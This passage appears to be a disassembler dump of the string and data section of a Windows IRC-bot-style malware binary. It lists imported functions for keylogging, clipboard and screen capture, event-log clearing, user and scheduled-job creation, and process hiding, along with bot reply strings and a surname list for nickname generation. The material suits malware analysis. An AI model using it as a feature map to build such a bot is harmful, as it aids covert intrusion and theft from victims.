; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 10h aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D368 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4F8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D528 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D558 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D57C db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 8 aReal db 'real',0 align 10h dd 0 dword_42D5C4 dd 0 ; DATA XREF: sub_40B08D+7o off_42D5C8 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 8 dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D630 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D63C dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; 